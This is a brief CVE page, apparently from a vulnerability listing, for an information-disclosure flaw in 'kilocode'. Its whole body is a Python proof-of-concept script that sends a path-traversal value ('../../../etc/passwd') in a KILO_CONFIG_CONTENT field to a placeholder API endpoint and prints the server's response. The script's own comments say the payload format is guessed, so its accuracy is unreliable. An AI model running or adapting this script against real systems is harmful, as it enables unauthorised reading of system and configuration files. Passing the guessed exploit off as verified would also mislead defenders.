CVE-2026-8766 kilocode信息泄露漏洞

import requests import os # Target URL (Hypothetical endpoint) target_url = "http://target-host:port/api/config/load" # Malicious payload targeting the vulnerable argument headers = { "User-Agent": "CVE-2026-8766-POC", "Content-Type": "application/json" } # Attempt to manipulate KILO_CONFIG_CONTENT to trigger disclosure # The payload structure depends on how the app accepts input for env vars payload = { "KILO_CONFIG_CONTENT": "../../../etc/passwd" # Example path traversal or config injection } try: print(f"Sending exploit request to {target_url}...") # Sending POST request to trigger the Load function response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request successful. Response:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")